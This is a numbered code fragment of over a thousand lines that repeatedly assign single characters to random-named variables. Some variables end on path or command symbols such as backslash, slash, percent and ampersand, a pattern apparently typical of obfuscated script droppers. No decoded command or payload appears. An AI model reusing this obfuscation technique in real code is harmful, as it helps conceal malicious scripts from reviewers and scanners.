235	afmylbw = "T";
236	afmylbw = "Y";
237	afmylbw = "K";
238	afmylbw = "k";
239	afmylbw = "x";
240	idsbbxl = "R";
241	idsbbxl = "J";
242	idsbbxl = "C";
243	idsbbxl = "P";
244	idsbbxl = "W";
245	fwrzqewy = "X";
246	fwrzqewy = "j";
247	fwrzqewy = "f";
248	fwrzqewy = "S";
249	fwrzqewy = "Y";
250	fwrzqewy = "j";
251	fwrzqewy = "U";
252	fwrzqewy = "J";
253	fwrzqewy = "a";
254	fwrzqewy = "N";
255	fwrzqewy = "r";
256	fwrzqewy = "k";
257	fwrzqewy = "T";
258	fwrzqewy = "G";
259	fwrzqewy = "C";
260	fwrzqewy = "Y";
261	fwrzqewy = "A";
262	fwrzqewy = "M";
263	fwrzqewy = "e";
264	fwrzqewy = "M";
265	fwrzqewy = "D";
266	fwrzqewy = "G";
267	fwrzqewy = "J";
268	fwrzqewy = "r";
269	fwrzqewy = "S";
270	fwrzqewy = "Y";
271	fwrzqewy = "m";
272	fwrzqewy = "L";
273	fwrzqewy = "V";
274	fwrzqewy = "D";
275	fwrzqewy = "s";
276	fwrzqewy = "c";
277	fwrzqewy = "f";
278	fwrzqewy = "N";
279	uetedzuad = "g";
280	uetedzuad = "X";
281	uetedzuad = "h";
282	uetedzuad = "Y";
283	uetedzuad = "P";
284	uetedzuad = "u";
285	uetedzuad = "s";
286	uetedzuad = "J";
287	uetedzuad = "K";
288	uetedzuad = "k";
289	roofu = "I";
290	roofu = "e";
291	roofu = "K";
292	roofu = "U";
293	roofu = "S";
294	roofu = "D";
295	roofu = "F";
296	roofu = "r";
297	roofu = "r";
298	roofu = "N";
299	roofu = "V";
300	roofu = "L";
301	roofu = "Q";
302	roofu = "n";
303	roofu = "X";
304	roofu = "X";
305	roofu = "k";
306	roofu = "e";
307	roofu = "T";
308	roofu = "f";
309	roofu = "D";
310	roofu = "j";
311	roofu = "x";
312	roofu = "P";
313	vcptt = "E";
314	vcptt = "F";
315	vcptt = "w";
316	vcptt = "x";
317	vcptt = "U";
318	vcptt = "a";
319	vcptt = "c";
320	vcptt = "l";
321	vcptt = "e";
322	vcptt = "F";
323	vcptt = "u";
324	vcptt = "I";
325	vcptt = "u";
326	vcptt = "F";
327	vcptt = "G";
328	vcptt = "q";
329	vcptt = "W";
330	vcptt = "I";
331	vcptt = "d";
332	vcptt = "G";
333	vcptt = "g";
334	vcptt = "d";
335	vcptt = "h";
336	vcptt = "U";
337	vcptt = "j";
338	vcptt = "J";
339	vcptt = "q";
340	vcptt = "g";
341	vcptt = "Z";
342	vcptt = "y";
343	vcptt = "c";
344	vcptt = "M";
345	vcptt = "V";
346	vcptt = "L";
347	vcptt = "w";
348	vcptt = "H";
349	vcptt = "c";
350	vcptt = "h";
351	vcptt = "O";
352	vcptt = "m";
353	vcptt = "Z";
354	vcptt = "a";
355	btweeqjxs = "t";
356	btweeqjxs = "a";
357	btweeqjxs = "l";
358	btweeqjxs = "l";
359	btweeqjxs = "K";
360	btweeqjxs = "L";
361	btweeqjxs = "D";
362	btweeqjxs = "e";
363	btweeqjxs = "W";
364	btweeqjxs = "C";
365	btweeqjxs = "J";
366	btweeqjxs = "w";
367	btweeqjxs = "E";
368	btweeqjxs = "W";
369	btweeqjxs = "i";
370	btweeqjxs = "w";
371	btweeqjxs = "l";
372	btweeqjxs = "E";
373	btweeqjxs = "O";
374	btweeqjxs = "E";
375	btweeqjxs = "\\";
376	pfvarwnl = "h";
377	pfvarwnl = "b";
378	pfvarwnl = "a";
379	pfvarwnl = "x";
380	pfvarwnl = "i";
381	pfvarwnl = "X";
382	pfvarwnl = "C";
383	pfvarwnl = "s";
384	pfvarwnl = "O";
385	xxhftv = "h";
386	xxhftv = "L";
387	xxhftv = "z";
388	xxhftv = "z";
389	xxhftv = "v";
390	xxhftv = "X";
391	xxhftv = "Z";
392	xxhftv = "G";
393	xxhftv = "R";
394	xxhftv = "E";
395	xxhftv = "R";
396	xxhftv = "F";
397	xxhftv = "O";
398	xxhftv = "d";
399	xxhftv = "V";
400	xxhftv = "o";
401	xxhftv = "c";
402	xxhftv = "H";
403	xxhftv = "F";
404	xxhftv = "J";
405	xxhftv = "R";
406	xxhftv = "v";
407	xxhftv = "V";
408	xxhftv = "z";
409	xxhftv = "I";
410	xxhftv = "Q";
411	xxhftv = "J";
412	xxhftv = "g";
413	jmecxopd = "g";
414	jmecxopd = "k";
415	jmecxopd = "S";
416	jmecxopd = "Q";
417	jmecxopd = "C";
418	jmecxopd = "v";
419	jmecxopd = "G";
420	jmecxopd = "P";
421	jmecxopd = "I";
422	jmecxopd = "v";
423	jmecxopd = "s";
424	jmecxopd = "J";
425	jmecxopd = "E";
426	jmecxopd = "N";
427	jmecxopd = "V";
428	jmecxopd = "R";
429	jmecxopd = "Z";
430	jmecxopd = "H";
431	jmecxopd = "b";
432	jmecxopd = "W";
433	jmecxopd = "b";
434	jmecxopd = "H";
435	jmecxopd = "b";
436	jmecxopd = "j";
437	jmecxopd = "f";
438	jmecxopd = "E";
439	jmecxopd = "A";
440	jmecxopd = "y";
441	jmecxopd = "a";
442	jmecxopd = "g";
443	jmecxopd = "B";
444	jmecxopd = "d";
445	jmecxopd = "v";
446	jmecxopd = "E";
447	jmecxopd = "G";
448	jmecxopd = "z";
449	jmecxopd = "W";
450	jmecxopd = "n";
451	jmecxopd = "j";
452	jmecxopd = "f";
453	jmecxopd = ".";
454	rnjtg = "x";
455	rnjtg = "K";
456	rnjtg = "D";
457	rnjtg = "s";
458	rnjtg = "G";
459	rnjtg = "n";
460	rnjtg = "o";
461	rnjtg = "r";
462	rnjtg = "M";
463	rnjtg = "U";
464	rnjtg = "T";
465	rnjtg = "k";
466	rnjtg = "m";
467	rnjtg = "Q";
468	rnjtg = "m";
469	rnjtg = "v";
470	rnjtg = "s";
471	rnjtg = "Q";
472	rnjtg = "R";
473	rnjtg = "M";
474	rnjtg = "u";
475	rnjtg = "O";
476	rnjtg = "q";
477	rnjtg = "k";
478	rnjtg = "v";
479	rnjtg = "t";
480	rnjtg = "S";
481	rnjtg = "B";
482	rnjtg = "O";
483	rnjtg = "w";
484	zqhncjtkx = "i";
485	zqhncjtkx = "b";
486	zqhncjtkx = "j";
487	zqhncjtkx = "p";
488	zqhncjtkx = "n";
489	zqhncjtkx = "j";
490	zqhncjtkx = "f";
491	zqhncjtkx = "B";
492	zqhncjtkx = "Y";
493	zqhncjtkx = "F";
494	zqhncjtkx = "D";
495	zqhncjtkx = "z";
496	zqhncjtkx = "t";
497	zqhncjtkx = "P";
498	zqhncjtkx = "Z";
499	zqhncjtkx = "u";
500	zqhncjtkx = "U";
501	zqhncjtkx = "X";
502	zqhncjtkx = "y";
503	zqhncjtkx = "O";
504	zqhncjtkx = "t";
505	zqhncjtkx = "z";
506	zqhncjtkx = "U";
507	zqhncjtkx = "U";
508	zqhncjtkx = "R";
509	zqhncjtkx = "t";
510	zqhncjtkx = "l";
511	zqhncjtkx = "A";
512	zqhncjtkx = "p";
513	zqhncjtkx = "D";
514	zqhncjtkx = "g";
515	zqhncjtkx = "l";
516	zqhncjtkx = "t";
517	zqhncjtkx = "F";
518	zqhncjtkx = "j";
519	zqhncjtkx = "A";
520	zqhncjtkx = "f";
521	zqhncjtkx = "n";
522	zqhncjtkx = "Z";
523	zqhncjtkx = "Q";
524	zqhncjtkx = "v";
525	idedlin = "E";
526	idedlin = "X";
527	idedlin = "E";
528	idedlin = "k";
529	idedlin = "C";
530	idedlin = "H";
531	idedlin = "w";
532	idedlin = "T";
533	idedlin = "o";
534	idedlin = "Q";
535	idedlin = "j";
536	idedlin = "R";
537	idedlin = "a";
538	idedlin = "X";
539	idedlin = "a";
540	idedlin = "J";
541	idedlin = "y";
542	idedlin = "X";
543	idedlin = "Z";
544	idedlin = "c";
545	idedlin = "o";
546	idedlin = "V";
547	idedlin = "v";
548	idedlin = "F";
549	idedlin = "F";
550	idedlin = "p";
551	feubowhb = "z";
552	feubowhb = "X";
553	feubowhb = "u";
554	feubowhb = "p";
555	feubowhb = "L";
556	feubowhb = "k";
557	feubowhb = "V";
558	feubowhb = "i";
559	feubowhb = "s";
560	feubowhb = "L";
561	feubowhb = "u";
562	feubowhb = "x";
563	feubowhb = "a";
564	feubowhb = "J";
565	feubowhb = "N";
566	feubowhb = "x";
567	feubowhb = "S";
568	feubowhb = "p";
569	feubowhb = "D";
570	feubowhb = "I";
571	feubowhb = "V";
572	feubowhb = "K";
573	feubowhb = "j";
574	feubowhb = "b";
575	dmhnl = "h";
576	dmhnl = "Y";
577	dmhnl = "c";
578	dmhnl = "z";
579	dmhnl = "W";
580	dmhnl = "B";
581	dmhnl = "l";
582	dmhnl = "p";
583	dmhnl = "E";
584	dmhnl = "f";
585	dmhnl = "Z";
586	dmhnl = "k";
587	dmhnl = "Z";
588	dmhnl = "g";
589	dmhnl = "Q";
590	dmhnl = "l";
591	dmhnl = "T";
592	dmhnl = "g";
593	dmhnl = "H";
594	dmhnl = "z";
595	dmhnl = "K";
596	dmhnl = "r";
597	dmhnl = "C";
598	dmhnl = "f";
599	dmhnl = "B";
600	dmhnl = "K";
601	cbsfnxk = "p";
602	cbsfnxk = "p";
603	cbsfnxk = "L";
604	cbsfnxk = "w";
605	cbsfnxk = "E";
606	cbsfnxk = "G";
607	cbsfnxk = "Y";
608	cbsfnxk = "X";
609	cbsfnxk = "F";
610	cbsfnxk = "Q";
611	cbsfnxk = "j";
612	cbsfnxk = "K";
613	cbsfnxk = "L";
614	cbsfnxk = "g";
615	cbsfnxk = "L";
616	cbsfnxk = "u";
617	cbsfnxk = "r";
618	cbsfnxk = "K";
619	cbsfnxk = "N";
620	cbsfnxk = "J";
621	cbsfnxk = "q";
622	cbsfnxk = "Q";
623	cbsfnxk = "h";
624	cbsfnxk = "Z";
625	cbsfnxk = " ";
626	aeudiwlnp = "k";
627	aeudiwlnp = "R";
628	aeudiwlnp = "c";
629	aeudiwlnp = "d";
630	aeudiwlnp = "z";
631	aeudiwlnp = "t";
632	aeudiwlnp = "e";
633	aeudiwlnp = "c";
634	aeudiwlnp = "T";
635	aeudiwlnp = "p";
636	aeudiwlnp = "S";
637	aeudiwlnp = "m";
638	aeudiwlnp = "K";
639	aeudiwlnp = "y";
640	aeudiwlnp = "N";
641	aeudiwlnp = "D";
642	aeudiwlnp = "C";
643	aeudiwlnp = "U";
644	aeudiwlnp = "s";
645	aeudiwlnp = "U";
646	aeudiwlnp = "x";
647	aeudiwlnp = "T";
648	aeudiwlnp = "t";
649	aeudiwlnp = "R";
650	aeudiwlnp = "T";
651	aeudiwlnp = "R";
652	aeudiwlnp = "o";
653	aeudiwlnp = "z";
654	aeudiwlnp = "R";
655	aeudiwlnp = "E";
656	aeudiwlnp = "V";
657	aeudiwlnp = "B";
658	aeudiwlnp = "m";
659	dsjeb = "r";
660	dsjeb = "k";
661	dsjeb = "Y";
662	dsjeb = "E";
663	dsjeb = "j";
664	dsjeb = "w";
665	dsjeb = "z";
666	dsjeb = "V";
667	dsjeb = "B";
668	dsjeb = "j";
669	dsjeb = "C";
670	dsjeb = "T";
671	dsjeb = "X";
672	dsjeb = "D";
673	dsjeb = "w";
674	dsjeb = "h";
675	dsjeb = "v";
676	dsjeb = "n";
677	dsjeb = "F";
678	dsjeb = "h";
679	dsjeb = "H";
680	dsjeb = "Z";
681	dsjeb = "c";
682	dsjeb = "R";
683	dsjeb = "H";
684	dsjeb = "K";
685	dsjeb = "v";
686	dsjeb = "T";
687	dsjeb = "I";
688	dsjeb = "m";
689	dsjeb = "Q";
690	dsjeb = "H";
691	dsjeb = "y";
692	dsjeb = "P";
693	dsjeb = "n";
694	dsjeb = "G";
695	dsjeb = "&";
696	brbws = "u";
697	brbws = "u";
698	brbws = "l";
699	brbws = "s";
700	brbws = "Z";
701	brbws = "Q";
702	brbws = "i";
703	brbws = "D";
704	brbws = "q";
705	brbws = "O";
706	brbws = "L";
707	brbws = "A";
708	brbws = "L";
709	brbws = "Z";
710	brbws = "F";
711	brbws = "x";
712	brbws = "E";
713	brbws = "c";
714	brbws = "A";
715	brbws = "Q";
716	brbws = "b";
717	brbws = "U";
718	brbws = "W";
719	brbws = "p";
720	brbws = "D";
721	brbws = "r";
722	ezqxvorfg = "F";
723	ezqxvorfg = "M";
724	ezqxvorfg = "E";
725	ezqxvorfg = "h";
726	ezqxvorfg = "q";
727	ezqxvorfg = "j";
728	ezqxvorfg = "W";
729	ezqxvorfg = "d";
730	ezqxvorfg = "L";
731	txxsmhq = "Z";
732	txxsmhq = "r";
733	txxsmhq = "u";
734	txxsmhq = "v";
735	txxsmhq = "d";
736	txxsmhq = "W";
737	txxsmhq = "n";
738	txxsmhq = "D";
739	txxsmhq = "j";
740	txxsmhq = "u";
741	txxsmhq = "y";
742	txxsmhq = "Z";
743	txxsmhq = "F";
744	txxsmhq = "o";
745	txxsmhq = "Q";
746	txxsmhq = "3";
747	tfpgtbbvm = "O";
748	tfpgtbbvm = "a";
749	tfpgtbbvm = "J";
750	tfpgtbbvm = "e";
751	cdsgp = "Q";
752	cdsgp = "A";
753	cdsgp = "l";
754	cdsgp = "Q";
755	cdsgp = "A";
756	cdsgp = "W";
757	cdsgp = "y";
758	cdsgp = "j";
759	cdsgp = "f";
760	cdsgp = "t";
761	cdsgp = "t";
762	cdsgp = "B";
763	cdsgp = "v";
764	cdsgp = "K";
765	cdsgp = "G";
766	cdsgp = "D";
767	cdsgp = "J";
768	cdsgp = "F";
769	cdsgp = "C";
770	cdsgp = "s";
771	cdsgp = "A";
772	cdsgp = "M";
773	cdsgp = "P";
774	cdsgp = "u";
775	cdsgp = "i";
776	cdsgp = "C";
777	cdsgp = "L";
778	cdsgp = "H";
779	cdsgp = "a";
780	cdsgp = "W";
781	cdsgp = "n";
782	cdsgp = "F";
783	cdsgp = "G";
784	cdsgp = "d";
785	cdsgp = "T";
786	cdsgp = "M";
787	cdsgp = "B";
788	cdsgp = "/";
789	pwjmbrs = "s";
790	pwjmbrs = "r";
791	pwjmbrs = "L";
792	pwjmbrs = "a";
793	pwjmbrs = "R";
794	pwjmbrs = "K";
795	pwjmbrs = "Q";
796	pwjmbrs = "U";
797	pwjmbrs = "i";
798	pwjmbrs = "P";
799	pwjmbrs = "E";
800	pwjmbrs = "b";
801	pwjmbrs = "4";
802	lixbrri = "b";
803	lixbrri = "Q";
804	lixbrri = "p";
805	lixbrri = "P";
806	lixbrri = "K";
807	lixbrri = "U";
808	lixbrri = "X";
809	lixbrri = "f";
810	lixbrri = "m";
811	lixbrri = "q";
812	lixbrri = "V";
813	lixbrri = "N";
814	lixbrri = "V";
815	lixbrri = "Y";
816	lixbrri = "M";
817	lixbrri = "l";
818	lixbrri = "K";
819	lixbrri = "t";
820	lixbrri = "Z";
821	lixbrri = "W";
822	lixbrri = "z";
823	lixbrri = "M";
824	lixbrri = "V";
825	lixbrri = "H";
826	lixbrri = "G";
827	lixbrri = "h";
828	lixbrri = "E";
829	xhxuhkzxw = "A";
830	xhxuhkzxw = "Q";
831	pcnthv = "p";
832	pcnthv = "K";
833	pcnthv = "L";
834	pcnthv = "u";
835	pcnthv = "L";
836	pcnthv = "M";
837	pcnthv = "w";
838	pcnthv = "t";
839	pcnthv = "D";
840	pcnthv = "o";
841	pcnthv = "w";
842	pcnthv = "m";
843	pcnthv = "a";
844	pcnthv = "O";
845	pcnthv = "a";
846	pcnthv = "U";
847	pcnthv = "d";
848	pcnthv = "z";
849	pcnthv = "o";
850	pcnthv = "i";
851	pcnthv = "j";
852	pcnthv = "i";
853	pcnthv = "b";
854	pcnthv = "S";
855	pcnthv = "S";
856	scoblrqu = "v";
857	scoblrqu = "t";
858	scoblrqu = "s";
859	scoblrqu = "B";
860	scoblrqu = "U";
861	scoblrqu = "z";
862	scoblrqu = "u";
863	scoblrqu = "N";
864	scoblrqu = "S";
865	scoblrqu = "P";
866	scoblrqu = "W";
867	scoblrqu = "v";
868	scoblrqu = "I";
869	scoblrqu = "q";
870	scoblrqu = "k";
871	scoblrqu = "f";
872	scoblrqu = "R";
873	scoblrqu = "z";
874	scoblrqu = "H";
875	scoblrqu = "W";
876	scoblrqu = "S";
877	scoblrqu = "q";
878	scoblrqu = "U";
879	scoblrqu = "H";
880	scoblrqu = "r";
881	scoblrqu = "N";
882	scoblrqu = "q";
883	scoblrqu = "e";
884	scoblrqu = "j";
885	scoblrqu = "n";
886	ejiukm = "e";
887	ejiukm = "V";
888	ejiukm = "p";
889	ejiukm = "J";
890	ejiukm = "A";
891	ejiukm = "M";
892	ejiukm = "U";
893	ejiukm = "F";
894	ejiukm = "m";
895	ejiukm = "U";
896	ejiukm = "f";
897	ejiukm = "X";
898	ejiukm = "q";
899	bcszim = "e";
900	bcszim = "N";
901	bcszim = "x";
902	bcszim = "b";
903	bcszim = "C";
904	bcszim = "I";
905	bcszim = "I";
906	bcszim = "m";
907	bcszim = "i";
908	bcszim = "g";
909	bcszim = "J";
910	bcszim = "o";
911	bcszim = "I";
912	bcszim = "d";
913	bcszim = "J";
914	bcszim = "I";
915	bcszim = "O";
916	bcszim = "R";
917	bcszim = "W";
918	bcszim = "q";
919	bcszim = "x";
920	bcszim = "M";
921	bcszim = "X";
922	bcszim = "v";
923	bcszim = "h";
924	bcszim = "U";
925	bcszim = "m";
926	bcszim = "p";
927	bcszim = "a";
928	bcszim = "p";
929	bcszim = "M";
930	bcszim = "f";
931	bcszim = "9";
932	jlshsn = "a";
933	jlshsn = "f";
934	jlshsn = "G";
935	jlshsn = "V";
936	jlshsn = "o";
937	jlshsn = "V";
938	jlshsn = "H";
939	jlshsn = "A";
940	jlshsn = "l";
941	jlshsn = "s";
942	jlshsn = "l";
943	jlshsn = "o";
944	jlshsn = "M";
945	jlshsn = "E";
946	jlshsn = "p";
947	jlshsn = "g";
948	jlshsn = "l";
949	jlshsn = "D";
950	jlshsn = "s";
951	jlshsn = "o";
952	jlshsn = "h";
953	jlshsn = "i";
954	jlshsn = "6";
955	ateucb = "m";
956	ateucb = "Y";
957	ateucb = "r";
958	ateucb = "Y";
959	ateucb = "c";
960	ateucb = "Z";
961	ateucb = "G";
962	ateucb = "W";
963	ateucb = "B";
964	ateucb = "H";
965	ateucb = "c";
966	ateucb = "p";
967	ateucb = "L";
968	ateucb = "G";
969	ateucb = "T";
970	ateucb = "q";
971	ateucb = "O";
972	ateucb = "B";
973	ateucb = "K";
974	ateucb = "m";
975	ateucb = "G";
976	ateucb = "G";
977	ateucb = "g";
978	ateucb = "q";
979	ateucb = "U";
980	ateucb = "d";
981	ateucb = "R";
982	ateucb = "S";
983	ateucb = "V";
984	ateucb = "O";
985	ateucb = "k";
986	ateucb = "F";
987	neaknsba = "m";
988	neaknsba = "A";
989	neaknsba = "W";
990	neaknsba = "B";
991	neaknsba = "H";
992	neaknsba = "x";
993	neaknsba = "K";
994	neaknsba = "w";
995	neaknsba = "t";
996	neaknsba = "v";
997	neaknsba = "j";
998	neaknsba = "v";
999	neaknsba = "K";
1000	neaknsba = "O";
1001	neaknsba = "v";
1002	neaknsba = "V";
1003	neaknsba = "u";
1004	neaknsba = "S";
1005	neaknsba = "y";
1006	neaknsba = "B";
1007	neaknsba = "D";
1008	neaknsba = "r";
1009	neaknsba = "j";
1010	neaknsba = "b";
1011	neaknsba = "f";
1012	neaknsba = "J";
1013	neaknsba = "e";
1014	neaknsba = "L";
1015	neaknsba = "I";
1016	chmqvvd = "y";
1017	chmqvvd = "P";
1018	chmqvvd = "T";
1019	chmqvvd = "k";
1020	chmqvvd = "F";
1021	chmqvvd = "g";
1022	chmqvvd = "P";
1023	chmqvvd = "p";
1024	chmqvvd = "m";
1025	chmqvvd = "l";
1026	chmqvvd = "O";
1027	chmqvvd = "g";
1028	chmqvvd = "l";
1029	chmqvvd = "B";
1030	chmqvvd = "I";
1031	chmqvvd = "p";
1032	chmqvvd = "y";
1033	chmqvvd = "q";
1034	chmqvvd = "F";
1035	chmqvvd = "j";
1036	chmqvvd = "Q";
1037	chmqvvd = "u";
1038	chmqvvd = "Z";
1039	chmqvvd = "C";
1040	chmqvvd = "u";
1041	chmqvvd = "T";
1042	chmqvvd = "d";
1043	chmqvvd = "K";
1044	chmqvvd = "i";
1045	chmqvvd = "c";
1046	chmqvvd = "f";
1047	chmqvvd = "v";
1048	chmqvvd = "w";
1049	chmqvvd = "m";
1050	chmqvvd = "m";
1051	chmqvvd = "m";
1052	chmqvvd = "t";
1053	chmqvvd = "l";
1054	chmqvvd = "%";
1055	kbxcnhz = "t";
1056	kbxcnhz = "A";
1057	kbxcnhz = "s";
1058	kbxcnhz = "i";
1059	kbxcnhz = "b";
1060	kbxcnhz = "R";
1061	kbxcnhz = "i";
1062	kbxcnhz = "i";
1063	kbxcnhz = "W";
1064	kbxcnhz = "b";
1065	kbxcnhz = "I";
1066	kbxcnhz = "D";
1067	kbxcnhz = "J";
1068	kbxcnhz = "D";
1069	kbxcnhz = "X";
1070	kbxcnhz = "U";
1071	kbxcnhz = "H";
1072	kbxcnhz = "c";
1073	kbxcnhz = "N";
1074	kbxcnhz = "J";
1075	kbxcnhz = "k";
1076	kbxcnhz = "m";
1077	kbxcnhz = "H";
1078	xxntzxs = "C";
1079	xxntzxs = "K";
1080	xxntzxs = "F";
1081	xxntzxs = "z";
1082	xxntzxs = "g";
1083	xxntzxs = "y";
1084	xxntzxs = "h";
1085	xxntzxs = "s";
1086	xxntzxs = "y";
1087	xxntzxs = "j";
1088	xxntzxs = "M";
1089	xxntzxs = "p";
1090	xxntzxs = "T";
1091	bmnfvtbd = "S";
1092	bmnfvtbd = "s";
1093	bmnfvtbd = "m";
1094	bmnfvtbd = "C";
1095	bmnfvtbd = "c";
1096	bmnfvtbd = "Q";
1097	bmnfvtbd = "n";
1098	bmnfvtbd = "Y";
1099	bmnfvtbd = "t";
1100	bmnfvtbd = "W";
1101	bmnfvtbd = "X";
1102	bmnfvtbd = "Q";
1103	bmnfvtbd = "g";
1104	bmnfvtbd = "V";
1105	bmnfvtbd = "p";
1106	bmnfvtbd = "e";
1107	bmnfvtbd = "K";
1108	bmnfvtbd = "s";
1109	bmnfvtbd = "m";
1110	bmnfvtbd = "J";
1111	bmnfvtbd = "U";
1112	bmnfvtbd = "c";
1113	bmnfvtbd = "u";
1114	bmnfvtbd = "c";
1115	bmnfvtbd = "R";
1116	uityerfmc = "M";
1117	uityerfmc = "j";
1118	uityerfmc = "i";
1119	uityerfmc = "A";
1120	uityerfmc = "W";
1121	uityerfmc = "F";
1122	uityerfmc = "D";
1123	uityerfmc = "w";
1124	uityerfmc = "j";
1125	uityerfmc = "N";
1126	uityerfmc = "K";
1127	uityerfmc = "K";
1128	uityerfmc = "1";
1129	bcskf = "E";
1130	bcskf = "Q";
1131	bcskf = "Z";
1132	bcskf = "h";
1133	bcskf = "y";
1134	bcskf = "a";
1135	bcskf = "J";
1136	bcskf = "h";
1137	bcskf = "X";
1138	bcskf = "S";
1139	bcskf = "N";
1140	bcskf = "T";
1141	bcskf = "x";
1142	bcskf = "u";
1143	bcskf = "j";
1144	bcskf = "X";
1145	bcskf = "L";
1146	bcskf = "e";
1147	bcskf = "O";
1148	bcskf = "g";
1149	bcskf = "H";
1150	bcskf = "U";
1151	bcskf = "g";
1152	bcskf = "e";
1153	bcskf = "o";
1154	bcskf = "E";
1155	bcskf = "Q";
1156	bcskf = "j";
1157	bcskf = "e";
1158	bcskf = "m";
1159	bcskf = "p";
1160	bcskf = "O";
1161	bcskf = "I";
1162	bcskf = "P";
1163	bcskf = "a";
1164	bcskf = "D";
1165	bcskf = "f";
1166	bcskf = "b";
1167	bcskf = "s";
1168	bcskf = "d";
1169	kxawnwoq = "i";
1170	kxawnwoq = "t";
1171	kxawnwoq = "a";
1172	kxawnwoq = "L";
1173	kxawnwoq = "X";
1174	kxawnwoq = "S";
1175	kxawnwoq = "s";
1176	kxawnwoq = "S";
1177	kxawnwoq = "e";
1178	kxawnwoq = "F";
1179	kxawnwoq = "k";
1180	kxawnwoq = "r";
1181	kxawnwoq = "x";
1182	kxawnwoq = "v";
1183	kxawnwoq = "5";
1184	cydnvp = "q";
1185	cydnvp = "C";
1186	cydnvp = "R";
1187	cydnvp = "K";
1188	cydnvp = "v";
1189	cydnvp = "y";
1190	cydnvp = "i";
1191	cydnvp = "j";
1192	cydnvp = "p";
1193	cydnvp = "Q";
1194	cydnvp = "W";
1195	cydnvp = "C";
1196	cydnvp = "D";
1197	cydnvp = "U";
1198	cydnvp = "l";
1199	cydnvp = "P";
1200	cydnvp = "u";
1201	cydnvp = "u";
1202	cydnvp = "F";
1203	cydnvp = "o";
1204	cydnvp = "d";
1205	cydnvp = "L";
1206	cydnvp = "A";
1207	cydnvp = "X";
1208	cydnvp = "g";
1209	cydnvp = "c";
1210	cydnvp = "s";
1211	cydnvp = "C";
1212	cydnvp = "P";
1213	cydnvp = "Q";
1214	cydnvp = "W";
1215	cydnvp = "h";
1216	cydnvp = "H";
1217	cydnvp = "v";
1218	cydnvp = "F";
1219	cydnvp = "D";
1220	cydnvp = "T";
1221	cydnvp = "R";
1222	cydnvp = "F";
1223	cydnvp = "b";
1224	cydnvp = "l";
1225	hfafcwuaq = "R";
1226	hfafcwuaq = "K";
1227	hfafcwuaq = "N";
1228	hfafcwuaq = "U";
1229	hfafcwuaq = "p";
1230	hfafcwuaq = "N";
1231	hfafcwuaq = "i";
1232	hfafcwuaq = "C";
1233	hfafcwuaq = "y";
1234	hfafcwuaq = "n";
1235	hfafcwuaq = "c";
1236	hfafcwuaq = "p";
1237	hfafcwuaq = "v";
1238	hfafcwuaq = "x";
1239	hfafcwuaq = "M";
1240	hfafcwuaq = "j";
1241	hfafcwuaq = "S";
1242	hfafcwuaq = "H";
1243	hfafcwuaq = "t";
1244	hfafcwuaq = "\"";
1245	bvsigffuy = "l";
1246	bvsigffuy = "t";
1247	bvsigffuy = "n";
1248	bvsigffuy = "h";
1249	bvsigffuy = "l";
1250	bvsigffuy = "N";
1251	bvsigffuy = "y";
1252	bvsigffuy = "Y";
1253	edvlkj = "O";
1254	edvlkj = "q";
1255	edvlkj = "z";
1256	edvlkj = "h";
1257	edvlkj = "0";
1258	dwknzt = "c";
1259	xzjiuye = "S";
1260	xzjiuye = "p";
1261	xzjiuye = "R";
1262	xzjiuye = "i";
1263	xzjiuye = "q";
1264	xzjiuye = "s";
1265	cegzm = "V";
1266	cegzm = "A";
1267	cegzm = "Q";
1268	cegzm = "Y";
1269	cegzm = "u";
1270	ngvxigr = "N";
1271	ngvxigr = "A";
1272	ngvxigr = "W";
1273	ngvxigr = "t";
1274	ngvxigr = "o";
1275	ngvxigr = "T";
1276	ngvxigr = "P";
1277	ngvxigr = "h";
1278	ngvxigr = "t";
1279	ngvxigr = "s";
1280	ngvxigr = "U";
1281	ngvxigr = "o";
1282	ngvxigr = "-";
1283	xhdabvf = "Q";
1284	xhdabvf = "q";
1285	xhdabvf = "N";
1286	xhdabvf = "o";
1287	xhdabvf = "j";
1288	xhdabvf = "Y";
1289	xhdabvf = "x";
1290	xhdabvf = "W";
1291	xhdabvf = "c";
1292	xhdabvf = "P";
1293	xhdabvf = "n";
1294	xhdabvf = "i";
1295	xhdabvf = "I";
1296	xhdabvf = "x";
1297	xhdabvf = "F";
1298	xhdabvf = "p";
1299	xhdabvf = "h";
1300	xhdabvf = "C";
1301	xhdabvf = "e";
1302	xhdabvf = "p";
1303	xhdabvf = "p";
1304	xhdabvf = "h";
1305	xhdabvf = "H";
1306	xhdabvf = "h";
1307	xhdabvf = "8";
1308	zvsrobfn = "d";
1309	zvsrobfn = "m";
1310	zvsrobfn = "V";
1311	zvsrobfn = "K";
1312	zvsrobfn = "U";
1313	zvsrobfn = "B";
1314	zvsrobfn = "A";
1315	zvsrobfn = "P";
1316	zvsrobfn = "K";
1317	zvsrobfn = "w";
1318	zvsrobfn = "q";
1319	zvsrobfn = "b";
1320	zvsrobfn = "y";
1321	zvsrobfn = "Z";
1322	zvsrobfn = "V";
1323	zvsrobfn = "b";
1324	zvsrobfn = "p";
1325	zvsrobfn = "F";
1326	zvsrobfn = "N";
1327	zvsrobfn = "b";
1328	zvsrobfn = "Y";
1329	zvsrobfn = "i";
1330	zvsrobfn = "o";
1331	zvsrobfn = "w";
1332	zvsrobfn = "y";
1333	zvsrobfn = "k";
1334	zvsrobfn = "a";
1335	zvsrobfn = "L";
1336	zvsrobfn = "X";
1337	zvsrobfn = "j";
1338	zvsrobfn = "m";
1339	zvsrobfn = "f";
1340	zvsrobfn = "L";
1341	zvsrobfn = "O";
1342	zvsrobfn = "q";
1343	zvsrobfn = "h";
1344	zvsrobfn = "Q";
1345	zvsrobfn = "b";
1346	zvsrobfn = "I";
1347	zvsrobfn = "o";
1348	zvsrobfn = "b";
1349	zvsrobfn = "o";
1350	cwkhcryg = "g";
1351	cwkhcryg = "w";
1352	cwkhcryg = "M";
1353	cwkhcryg = "f";
1354	cwkhcryg = "i";
1355	niozag = "Q";
1356	niozag = "O";
1357	niozag = "V";
1358	niozag = "V";
1359	niozag = "W";
1360	niozag = "l";
1361	niozag = "e";
1362	niozag = "i";
1363	niozag = "h";
1364	niozag = "p";
1365	niozag = "B";
1366	niozag = "S";
1367	niozag = "u";
1368	niozag = "t";
1369	niozag = "h";
1370	niozag = "m";
1371	niozag = "f";
1372	niozag = "g";
1373	niozag = "a";
1374	niozag = "J";
1375	niozag = "Z";
1376	niozag = "U";
1377	niozag = "y";
1378	niozag = "D";
1379	niozag = "H";
1380	niozag = "w";
1381	niozag = "u";
1382	niozag = "F";
1383	niozag = "O";
1384	niozag = "W";
1385	niozag = "L";
1386	niozag = "x";
1387	niozag = "l";
1388	niozag = "L";
1389	niozag = "n";
1390	niozag = "U";
